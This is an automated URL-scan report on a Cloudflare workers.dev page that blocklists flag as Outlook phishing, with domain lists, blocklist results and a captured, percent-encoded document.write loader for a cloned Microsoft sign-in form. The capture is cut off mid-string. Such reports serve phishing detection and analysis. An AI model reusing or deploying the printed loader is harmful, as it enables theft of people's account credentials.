Overview

URLlingering-sun-f560.servicedeck.workers.dev/index.html
IP 172.67.152.48 (United States)
ASN#13335 CLOUDFLARENET
UserAgentMozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Referer
Report completed2022-09-10 21:11:42 UTC
StatusLoading report..
IDS alerts0
Blocklist alert2
urlquery alerts No alerts detected
Tags None

Domain Summary (18)

Fully Qualifying Domain Name Rank First Seen Last Seen IP Comment
firefox.settings.services.mozilla.com (2) 867 2020-06-04 20:08:41 UTC 2022-09-10 16:08:28 UTC 143.204.55.27
contile.services.mozilla.com (1) 1114 2021-05-27 18:32:35 UTC 2022-09-10 04:48:42 UTC 34.117.237.239
ajax.aspnetcdn.com (1) 693 2012-05-24 13:35:31 UTC 2022-09-10 05:54:29 UTC 152.199.19.160
aadcdn.msftauth.net (1) 1455 2018-11-19 10:50:32 UTC 2022-09-10 11:00:52 UTC 152.199.23.37
ocsp.digicert.com (1) 86 2012-05-21 07:02:23 UTC 2022-09-10 16:22:02 UTC 93.184.220.29
www.office.com (1) 2755 2014-02-12 01:02:36 UTC 2022-09-10 21:00:02 UTC 13.107.6.156
content-signature-2.cdn.mozilla.net (1) 1152 2020-11-03 12:26:46 UTC 2022-09-10 04:47:11 UTC 143.204.55.49
secure.aadcdn.microsoftonline-p.com (5) 11744 2015-09-16 22:42:07 UTC 2022-09-10 10:54:52 UTC 23.32.99.134
aadcdn.msauth.net (1) 1421 2018-11-19 10:50:03 UTC 2022-09-10 11:00:52 UTC 13.107.227.53
portal.microsoftonline.com (3) 26424 2015-06-01 10:29:23 UTC 2022-09-10 19:29:33 UTC 52.109.88.54
push.services.mozilla.com (1) 2140 2015-09-03 10:29:36 UTC 2022-09-10 06:39:00 UTC 35.161.136.21
img-getpocket.cdn.mozilla.net (6) 1631 2017-09-01 03:40:57 UTC 2022-09-10 04:30:10 UTC 34.120.237.76
lingering-sun-f560.servicedeck.workers.dev (1) 0 2022-07-28 12:42:59 UTC 2022-09-10 21:11:23 UTC 172.67.152.48 Unknown ranking
r3.o.lencr.org (4) 344 2020-12-02 08:52:13 UTC 2022-09-10 04:48:54 UTC 95.101.11.115
e1.o.lencr.org (2) 6159 2021-08-20 07:36:30 UTC 2022-09-10 06:41:01 UTC 95.101.11.115
res.cdn.office.net (64) 1292 2021-09-30 18:37:19 UTC 2022-09-10 11:02:17 UTC 95.101.172.113
outlook.office365.com (1) 51 No data No data 40.99.215.98
r4.res.office365.com (7) 180 2017-03-03 12:49:03 UTC 2022-09-10 21:11:33 UTC 95.101.172.113

Network Intrusion Detection Systemsinfo

Suricata /w Emerging Threats Pro
 No alerts detected

Blocklists

OpenPhish
Scan Date Severity Indicator Comment
2022-09-10 2 lingering-sun-f560.servicedeck.workers.dev/index.html Outlook

PhishTank
 No alerts detected

Fortinet's Web Filter
Scan Date Severity Indicator Comment
2022-09-10 2 lingering-sun-f560.servicedeck.workers.dev/index.html Phishing

mnemonic secure dns
 No alerts detected

Quad9 DNS
 No alerts detected


Files

No files detected

Recent reports on same IP/ASN/Domain/Screenshot

Last 2 reports on IP: 172.67.152.48
Date UQ / IDS / BL URL IP
2022-09-25 22:05:59 +0000 0 - 0 - 2 lingering-sun-f560.servicedeck.workers.dev/in (...) 172.67.152.48
2022-09-10 21:11:42 +0000 0 - 0 - 2 lingering-sun-f560.servicedeck.workers.dev/in (...) 172.67.152.48


Last 5 reports on ASN: CLOUDFLARENET
Date UQ / IDS / BL URL IP
2023-03-31 08:53:30 +0000 0 - 1 - 1 ji.jhia6gy44dd.com/m/ss47.exe 104.21.48.158
2023-03-31 08:48:41 +0000 0 - 0 - 12 eybvl5ozwllkk8krjex6v1cur.lspower.xyz/usps/ve (...) 188.114.97.1
2023-03-31 08:48:22 +0000 0 - 0 - 22 ly8ismzmaevpzxbe6.lspower.xyz/usps/verificati (...) 188.114.96.1
2023-03-31 08:48:20 +0000 0 - 0 - 19 ovbsb84rnawuet37h8m8gkj.lspower.xyz/usps/veri (...) 188.114.96.1
2023-03-31 08:48:05 +0000 0 - 0 - 17 vv05w8.lspower.xyz/usps/verification.html 188.114.97.1


Last 4 reports on domain: servicedeck.workers.dev
Date UQ / IDS / BL URL IP
2022-11-27 21:34:46 +0000 0 - 0 - 2 lingering-sun-f560.servicedeck.workers.dev/in (...) 104.21.88.191
2022-09-25 22:05:59 +0000 0 - 0 - 2 lingering-sun-f560.servicedeck.workers.dev/in (...) 172.67.152.48
2022-09-21 01:54:27 +0000 0 - 0 - 2 lingering-sun-f560.servicedeck.workers.dev/in (...) 104.21.88.191
2022-09-10 21:11:42 +0000 0 - 0 - 2 lingering-sun-f560.servicedeck.workers.dev/in (...) 172.67.152.48


Last 5 reports with similar screenshot
Date UQ / IDS / BL URL IP
2023-02-23 17:30:31 +0000 0 - 1 - 2 www.gadrinks.com/wp-content/ 52.151.92.118
2023-02-09 03:17:40 +0000 0 - 1 - 2 www.gadrinks.com/wp-content/ 52.151.92.118
2023-01-31 09:11:08 +0000 0 - 2 - 3 rodriguezq.cf/.well-known/ 162.240.35.239
2023-01-31 03:49:07 +0000 0 - 3 - 3 rodriguezq.cf/.well-known/ 162.240.35.239
2023-01-09 09:01:52 +0000 0 - 0 - 2 gadrinks.com/wp-content/index.html 52.151.92.118

JavaScript

Executed Scripts (27)

Executed Evals (0)

Executed Writes (2)
#1 JavaScript::Write (size: 177797) - SHA256: 053d71f2e44838cd6ef1a460e2758b1577d35d52feedd57b27d7a94ede9eced2
< script language = javascript > document.write(unescape("%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%3E%0A%3C%68%74%6D%6C%20%64%69%72%3D%22%6C%74%72%22%20%63%6C%61%73%73%3D%22%22%20%6C%61%6E%67%3D%22%65%6E%22%3E%0A%20%20%3C%68%65%61%64%3E%0A%20%20%20%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%63%6F%6E%74%65%6E%74%2D%74%79%70%65%22%20%63%6F%6E%74%65%6E%74%3D%22%74%65%78%74%2F%68%74%6D%6C%3B%20%63%68%61%72%73%65%74%3D%55%54%46%2D%38%22%3E%0A%20%20%20%20%3C%74%69%74%6C%65%3E%53%69%67%6E%20%69%6E%20%74%6F%20%79%6F%75%72%20%61%63%63%6F%75%6E%74%3C%2F%74%69%74%6C%65%3E%0A%20%20%20%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%58%2D%55%41%2D%43%6F%6D%70%61%74%69%62%6C%65%22%20%63%6F%6E%74%65%6E%74%3D%22%49%45%3D%65%64%67%65%22%3E%0A%20%20%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%76%69%65%77%70%6F%72%74%22%20%63%6F%6E%74%65%6E%74%3D%22%77%69%64%74%68%3D%64%65%76%69%63%65%2D%77%69%64%74%68%2C%20%69%6E%69%74%69%61%6C%2D%73%63%61%6C%65%3D%31%2E%30%2C%20%6D%61%78%69%6D%75%6D%2D%73%63%61%6C%65%3D%32%2E%30%2C%20%75%73%65%72%2D%73%63%61%6C%61%62%6C%65%3D%79%65%73%22%3E%0A%20%20%20%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%50%72%61%67%6D%61%22%20%63%6F%6E%74%65%6E%74%3D%22%6E%6F%2D%63%61%63%68%65%22%3E%0A%20%20%20%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%45%78%70%69%72%65%73%22%20%63%6F%6E%74%65%6E%74%3D%22%2D%31%22%3E%0A%20%20%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%50%61%67%65%49%44%22%20%63%6F%6E%74%65%6E%74%3D%22%43%6F%6E%76%65%72%67%65%64%53%69%67%6E%49%6E%22%3E%0A%20%20%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%53%69%74%65%49%44%22%20%63%6F%6E%74%65%6E%74%3D%22%22%3E%0A%20%20%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%52%65%71%4C%43%22%20%63%6F%6E%74%65%6E%74%3D%22%31%30%33%33%22%3E%0A%20%20%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%4C%6F%63%4C%43%22%20%63%6F%6E%74%65%6E%74%3D%22%65%6E%2D%55%53%22%3E%0A%20%20%20%20%3C%6E%6F%73%63%72%69%70%74%3E%0A%20%20%20%20%20%20%20%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%52%65%66%72%65%73%68%22%20%63%6F%6E%74%65%6E%74%3D%22%30%3B%20%55%52%4C%3D%68%74%74%70%73%3A%2F%2F%6C%6F%67%69%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2E%63%6F%6D%2F%6A%73%64%69%73%61%62%6C%65%64%22%3E%0A%20%20%20%20%3C%2F%6E%6F%73%63%72%69%70%74%3E%0A%20%20%20%20%3C%6C%69%6E%6B%20%72%65%6C%3D%22%73%68%6F%72%74%63%75%74%20%69%63%6F%6E%22%20%68%72%65%66%3D%22%68%74%74%70%73%3A%2F%2F%73%65%63%75%72%65%2E%61%61%64%63%64%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2D%70%2E%63%6F%6D%2F%65%73%74%73%2F%32%2E%31%2E%38%35%37%36%2E%31%33%2F%63%6F%6E%74%65%6E%74%2F%69%6D%61%67%65%73%2F%66%61%76%69%63%6F%6E%5F%61%5F%65%75%70%61%79%66%67%67%68%71%69%61%69%37%6B%39%73%6F%6C%36%6C%67%32%2E%69%63%6F%22%3E%0A%20%20%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%72%6F%62%6F%74%73%22%20%63%6F%6E%74%65%6E%74%3D%22%6E%6F%6E%65%22%3E%0A%20%20%20%20%3C%73%74%79%6C%65%3E%0A%20%20%20%20%20%68%74%6D%6C%20%7B%0A%6F%76%65%72%66%6C%6F%77%3A%20%73%63%72%6F%6C%6C%3B%0A%6F%76%65%72%66%6C%6F%77%2D%78%3A%20%68%69%64%64%65%6E%3B%0A%7D%0A%3A%3A%2D%77%65%62%6B%69%74%2D%73%63%72%6F%6C%6C%62%61%72%20%7B%0A%77%69%64%74%68%3A%20%30%70%78%3B%20%2F%2A%20%72%65%6D%6F%76%65%20%73%63%72%6F%6C%6C%62%61%72%20%73%70%61%63%65%20%2F%0A%62%61%63%6B%67%72%6F%75%6E%64%3A%20%74%72%61%6E%73%70%61%72%65%6E%74%3B%20%2F%20%6F%70%74%69%6F%6E%61%6C%3A%20%6A%75%73%74%20%6D%61%6B%65%20%73%63%72%6F%6C%6C%62%61%72%20%69%6E%76%69%73%69%62%6C%65%20%2F%0A%7D%0A%2F%20%6F%70%74%69%6F%6E%61%6C%3A%20%73%68%6F%77%20%70%6F%73%69%74%69%6F%6E%20%69%6E%64%69%63%61%74%6F%72%20%69%6E%20%72%65%64%20%2A%2F%0A%3A%3A%2D%77%65%62%6B%69%74%2D%73%63%72%6F%6C%6C%62%61%72%2D%74%68%75%6D%62%20%7B%0A%62%61%63%6B%67%72%6F%75%6E%64%3A%20%23%46%46%30%30%30%30%3B%0A%7D%0A%20%20%20%3C%2F%73%74%79%6C%65%3E%0A%20%20%20%20%3C%6C%69%6E%6B%20%63%72%6F%73%73%6F%72%69%67%69%6E%3D%22%61%6E%6F%6E%79%6D%6F%75%73%22%20%68%72%65%66%3D%22%68%74%74%70%73%3A%2F%2F%73%65%63%75%72%65%2E%61%61%64%63%64%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2D%70%2E%63%6F%6D%2F%65%73%74%73%2F%32%2E%31%2E%38%35%37%36%2E%31%33%2F%63%6F%6E%74%65%6E%74%2F%63%64%6E%62%75%6E%64%6C%65%73%2F%63%6F%6E%76%65%72%67%65%64%2E%76%32%2E%6C%6F%67%69%6E%2E%6D%69%6E%5F%78%75%37%6B%6D%33%6F%78%6D%34%62%77%70%32%62%2D%6D%71%79%6F%7A%67%32%2E%63%73%73%22%0A%0A%20%20%20%20%20%20%72%65%6C%3D%22%73%74%79%6C%65%73%68%65%65%74%22%20%6F%6E%65%72%72%6F%72%3D%22%24%4C%6F%61%64%65%72%2E%4F%6E%28%74%68%69%73%2C%74%72%75%65%29%22%20%6F%6E%6C%6F%61%64%3D%22%24%4C%6F%61%64%65%72%2E%4F%6E%28%74%68%69%73%29%22%0A%0A%20%20%20%20%20%20%69%6E%74%65%67%72%69%74%79%3D%22%73%68%61%33%38%34%2D%6F%65%54%37%52%45%2B%6A%55%71%76%72%72%4E%36%74%7A%6B%51%71%56%6B%45%31%58%69%71%79%73%54%65%51%64%42%56%73%4C%66%38%6C%61%49%47%70%65%52%65%56%49%2B%44%61%63%31%6D%6A%65%6B%5A%52%6E%31%4C%6D%22%3E%0A%20%20%20%20%3C%21%2D%2D%0A%20%20%20%20%3C%73%63%72%69%70%74%20%63%72%6F%73%73%6F%72%69%67%69%6E%3D%22%61%6E%6F%6E%79%6D%6F%75%73%22%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%73%65%63%75%72%65%2E%61%61%64%63%64%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2D%70%2E%63%6F%6D%2F%65%73%74%73%2F%32%2E%31%2E%38%35%37%36%2E%31%33%2F%63%6F%6E%74%65%6E%74%2F%63%64%6E%62%75%6E%64%6C%65%73%2F%6F%6C%64%63%6F%6E%76%65%72%67%65%64%6C%6F%67%69%6E%5F%70%63%6F%72%65%2E%6D%69%6E%5F%6F%76%78%66%6A%79%62%62%61%6A%63%74%63%77%32%6B%71%6C%74%32%65%67%32%2E%6A%73%22%20%6F%6E%65%72%72%6F%72%3D%22%24%4C%6F%61%64%65%72%2E%4F%6E%28%74%68%69%73%2C%74%72%75%65%29%22%20%6F%6E%6C%6F%61%64%3D%22%24%4C%6F%61%64%65%72%2E%4F%6E%28%74%68%69%73%29%22%20%69%6E%74%65%67%72%69%74%79%3D%22%73%68%61%33%38%34%2D%38%32%51%58%56%69%67%48%65%58%79%4F%37%61%57%34%4E%42%6B%63%76%30%64%62%63%4A%30%4A%55%48%77%50%71%48%44%36%53%52%72%2B%4B%52%44%33%68%7A%64%45%76%73%4B%41%74%2B%33%6E%31%74%31%77%62%52%2B%4E%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%20%20%20%20%3C%73%63%72%69%70%74%20%63%72%6F%73%73%6F%72%69%67%69%6E%3D%22%61%6E%6F%6E%79%6D%6F%75%73%22%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%73%65%63%75%72%65%2E%61%61%64%63%64%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2D%70%2E%63%6F%6D%2F%65%73%74%73%2F%32%2E%31%2E%38%35%37%36%2E%31%33%2F%63%6F%6E%74%65%6E%74%2F%63%64%6E%62%75%6E%64%6C%65%73%2F%63%6F%6E%76%65%72%67%65%64%6C%6F%67%69%6E%70%61%67%69%6E%61%74%65%64%73%74%72%69%6E%67%73%2D%65%6E%2E%6D%69%6E%5F%6F%6A%64%70%33%65%76%6E%65%6D%63%65%74%6C%6E%63%64%70%33%72%34%77%32%2E%6A%73%22%20%6F%6E%65%72%72%6F%72%3D%22%24%4C%6F%61%64%65%72%2E%4F%6E%28%74%68%69%73%2C%74%72%75%65%29%22%20%6F%6E%6C%6F%61%64%3D%22%24%4C%6F%61%64%65%72%2E%4F%6E%28%74%68%69%73%29%22%20%69%6E%74%65%67%72%69%74%79%3D%22%73%68%61%33%38%34%2D%71%75%57%68%74%30%70%38%32%4E%37%69%30%45%6B%59%34%4B%54%4C%36%42%77%6F%2B%67%32%73%55%48%39%71%52%49%75%56%69%2F%59%7A%79%35%45%55%32%77%59%37%58%71%71%51%36%6C%4F%4D%4F%54%67%4E%4C%39%50%6D%22%3E%3C%2F%73%63%72%69%70%74%3E%2D%2D%3E%0A%20%20%3C%2F%68%65%61%64%3E%0A%20%20%3C%62%6F%64%79%20%64%61%74%61%2D%62%69%6E%64%3D%22%64%65%66%69%6E%65%47%6C%6F%62%61%6C%73%3A%20%53%65%72%76%65%72%44%61%74%61%2C%20%62%6F%64%79%43%73%73%43%6C%61%73%73%22%20%63%6C%61%73%73%3D%22%63%62%22%20%73%74%79%6C%65%3D%22%20%64%69%73%70%6C%61%79%3A%20%62%6C%6F%63%6B%3B%22%3E%FD%0A%20%20%20%20%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%0A%20%20%20%20%20%20%20%20%2F%2F%3C%21%5B%43%44%41%54%41%5B%0A%09%09%2F%2A%20%20%2A%0A%20%20%20%20%20%20%20%20%21%20%66%75%6E%63%74%69%6F%6E%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%65%20%3D%20%77%69%6E%64%6F%77%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6F%20%3D%20%65%2E%64%6F%63%75%6D%65%6E%74%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%20%3D%20%65%2E%24%43%6F%6E%66%69%67%20%7C%7C%20%7B%7D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%69%66%20%28%65%2E%73%65%6C%66%20%3D%3D%3D%20%65%2E%74%6F%70%29%20%6F%20%26%26%20%6F%2E%62%6F%64%79%20%26%26%20%28%6F%2E%62%6F%64%79%2E%73%74%79%6C%65%2E%64%69%73%70%6C%61%79%20%3D%20%22%62%6C%6F%63%6B%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%65%6C%73%65%20%69%66%20%28%21%69%2E%61%6C%6C%6F%77%46%72%61%6D%65%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%73%20%3D%20%65%2E%73%65%6C%66%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6C%20%3D%20%73%2E%69%6E%64%65%78%4F%66%28%22%23%22%29%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6E%20%3D%20%2D%31%20%21%3D%3D%20%6C%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%74%20%3D%20%73%2E%69%6E%64%65%78%4F%66%28%22%3F%22%29%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%66%20%3D%20%6E%20%3F%20%6C%20%3A%20%73%2E%6C%65%6E%67%74%68%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%20%3D%20%2D%31%20%3D%3D%3D%20%74%20%7C%7C%20%6E%20%26%26%20%74%20%3E%20%6C%20%3F%20%22%3F%22%20%3A%20%22%26%22%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%20%3D%20%73%2E%73%75%62%73%74%72%28%30%2C%20%66%29%20%2B%20%64%20%2B%20%22%69%66%72%61%6D%65%2D%72%65%71%75%65%73%74%2D%69%64%3D%22%20%2B%20%69%2E%73%65%73%73%69%6F%6E%49%64%20%2B%20%73%2E%73%75%62%73%74%72%28%66%29%2C%20%65%2E%74%6F%70%2E%6C%6F%63%61%74%69%6F%6E%20%3D%20%73%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%28%29%3B%0A%20%20%2F%2A%20%20%2A%2F%0A%20%20%20%20%20%20%20%20%2F%2F%5D%5D%3E%0A%20%20%20%20%3C%2F%73%63%72%69%70%74%3E%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%64%69%73%70%6C%61%79%66%75%6C%6C%6C%6F%61%64%22%3E%0A%20%20%20%20%20%20%3C%21%2D%2D%20%20%2D%2D%3E%0A%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%62%61%63%6B%67%72%6F%75%6E%64%2D%69%6D%61%67%65%27%2C%20%70%75%62%6C%69%63%4D%65%74%68%6F%64%73%3A%20%62%61%63%6B%67%72%6F%75%6E%64%43%6F%6E%74%72%6F%6C%4D%65%74%68%6F%64%73%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%62%61%63%6B%67%72%6F%75%6E%64%22%20%72%6F%6C%65%3D%22%70%72%65%73%65%6E%74%61%74%69%6F%6E%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%73%73%3A%20%7B%20%61%70%70%3A%20%69%73%41%70%70%42%72%61%6E%64%69%6E%67%20%7D%2C%20%73%74%79%6C%65%3A%20%7B%20%62%61%63%6B%67%72%6F%75%6E%64%3A%20%62%61%63%6B%67%72%6F%75%6E%64%53%74%79%6C%65%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%6D%61%6C%6C%49%6D%61%67%65%55%72%6C%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%62%61%63%6B%67%72%6F%75%6E%64%49%6D%61%67%65%3A%20%73%6D%61%6C%6C%49%6D%61%67%65%55%72%6C%28%29%22%20%73%74%79%6C%65%3D%22%62%61%63%6B%67%72%6F%75%6E%64%2D%69%6D%61%67%65%3A%20%75%72%6C%28%26%71%75%6F%74%3B%68%74%74%70%73%3A%2F%2F%61%61%64%63%64%6E%2E%6D%73%66%74%61%75%74%68%2E%6E%65%74%2F%65%73%74%73%2F%32%2E%31%2F%63%6F%6E%74%65%6E%74%2F%69%6D%61%67%65%73%2F%62%61%63%6B%67%72%6F%75%6E%64%73%2F%32%5F%62%63%33%64%33%32%61%36%39%36%38%39%35%66%37%38%63%31%39%64%66%36%63%37%31%37%35%38%36%61%35%64%2E%73%76%67%26%71%75%6F%74%3B%29%3B%22%3E%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%62%61%63%6B%67%72%6F%75%6E%64%49%6D%61%67%65%55%72%6C%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%62%61%63%6B%67%72%6F%75%6E%64%49%6D%61%67%65%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%62%61%63%6B%67%72%6F%75%6E%64%49%6D%61%67%65%3A%20%62%61%63%6B%67%72%6F%75%6E%64%49%6D%61%67%65%55%72%6C%28%29%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%73%74%79%6C%65%3D%22%62%61%63%6B%67%72%6F%75%6E%64%2D%69%6D%61%67%65%3A%20%75%72%6C%28%26%71%75%6F%74%3B%68%74%74%70%73%3A%2F%2F%61%61%64%63%64%6E%2E%6D%73%66%74%61%75%74%68%2E%6E%65%74%2F%65%73%74%73%2F%32%2E%31%2F%63%6F%6E%74%65%6E%74%2F%69%6D%61%67%65%73%2F%62%61%63%6B%67%72%6F%75%6E%64%73%2F%32%5F%62%63%33%64%33%32%61%36%39%36%38%39%35%66%37%38%63%31%39%64%66%36%63%37%31%37%35%38%36%61%35%64%2E%73%76%67%26%71%75%6F%74%3B%29%3B%22%3E%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%75%73%65%49%6D%61%67%65%4D%61%73%6B%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%69%66%3A%20%61%63%74%69%76%65%44%69%61%6C%6F%67%22%3E%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%3C%66%6F%72%6D%20%6E%61%6D%65%3D%22%66%31%22%20%69%64%3D%22%69%30%32%38%31%22%20%6E%6F%76%61%6C%69%64%61%74%65%3D%22%6E%6F%76%61%6C%69%64%61%74%65%22%20%73%70%65%6C%6C%63%68%65%63%6B%3D%22%66%61%6C%73%65%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%0A%0A%20%20%20%20%20%20%20%20%74%61%72%67%65%74%3D%22%5F%74%6F%70%22%20%61%75%74%6F%63%6F%6D%70%6C%65%74%65%3D%22%6F%66%66%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%61%75%74%6F%53%75%62%6D%69%74%3A%20%66%6F%72%63%65%53%75%62%6D%69%74%2C%20%61%74%74%72%3A%20%7B%20%61%63%74%69%6F%6E%3A%20%70%6F%73%74%55%72%6C%20%7D%2C%20%61%72%69%61%48%69%64%64%65%6E%3A%20%61%63%74%69%76%65%44%69%61%6C%6F%67%22%0A%0A%20%20%20%20%20%20%20%20%61%63%74%69%6F%6E%3D%22%2F%63%6F%6D%6D%6F%6E%2F%6C%6F%67%69%6E%22%3E%0A%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%76%72%2E%69%42%61%6E%6E%65%72%45%6E%76%69%72%6F%6E%6D%65%6E%74%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%77%69%74%68%50%72%6F%70%65%72%74%69%65%73%3A%20%7B%20%27%24%6C%6F%67%69%6E%50%61%67%65%27%3A%20%24%64%61%74%61%20%7D%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%6F%75%74%65%72%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%70%61%67%65%27%2C%0A%20%20%20%20%20%20%20%20%70%61%72%61%6D%73%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%73%65%72%76%65%72%44%61%74%61%3A%20%73%76%72%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%73%68%6F%77%42%75%74%74%6F%6E%73%3A%20%73%76%72%2E%66%53%68%6F%77%42%75%74%74%6F%6E%73%2C%20%20%20%20%20%20%20%20%20%20%20%20%73%68%6F%77%46%6F%6F%74%65%72%4C%69%6E%6B%73%3A%20%74%72%75%65%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%75%73%65%57%69%7A%61%72%64%42%65%68%61%76%69%6F%72%3A%20%73%76%72%2E%66%55%73%65%57%69%7A%61%72%64%42%65%68%61%76%69%6F%72%2C%20%20%20%20%20%20%20%20%20%20%20%20%68%61%6E%64%6C%65%57%69%7A%61%72%64%42%75%74%74%6F%6E%73%3A%20%66%61%6C%73%65%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%70%61%73%73%77%6F%72%64%3A%20%70%61%73%73%77%6F%72%64%2C%20%20%20%20%20%20%20%20%20%20%20%20%68%69%64%65%46%72%6F%6D%41%72%69%61%3A%20%61%72%69%61%48%69%64%64%65%6E%20%7D%2C%0A%20%20%20%20%20%20%20%20%65%76%65%6E%74%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%66%6F%6F%74%65%72%41%67%72%65%65%6D%65%6E%74%43%6C%69%63%6B%3A%20%66%6F%6F%74%65%72%5F%61%67%72%65%65%6D%65%6E%74%43%6C%69%63%6B%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%74%65%6D%70%6C%61%74%65%3A%20%7B%20%6E%6F%64%65%73%3A%20%24%63%6F%6D%70%6F%6E%65%6E%74%54%65%6D%70%6C%61%74%65%4E%6F%64%65%73%2C%20%64%61%74%61%3A%20%24%70%61%72%65%6E%74%20%7D%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%76%72%2E%66%53%68%6F%77%43%6F%6F%6B%69%65%42%61%6E%6E%65%72%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%62%61%63%6B%67%72%6F%75%6E%64%2D%6C%6F%67%6F%2D%68%6F%6C%64%65%72%22%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%62%72%2F%3E%3C%64%69%76%20%63%6C%61%73%73%3D%22%6D%69%64%64%6C%65%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%73%73%3A%20%7B%20%27%61%70%70%27%3A%20%62%61%63%6B%67%72%6F%75%6E%64%4C%6F%67%6F%55%72%6C%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%62%61%63%6B%67%72%6F%75%6E%64%4C%6F%67%6F%55%72%6C%28%29%20%26%26%20%21%28%70%61%67%69%6E%61%74%69%6F%6E%43%6F%6E%74%72%6F%6C%4D%65%74%68%6F%64%73%28%29%20%26%26%20%70%61%67%69%6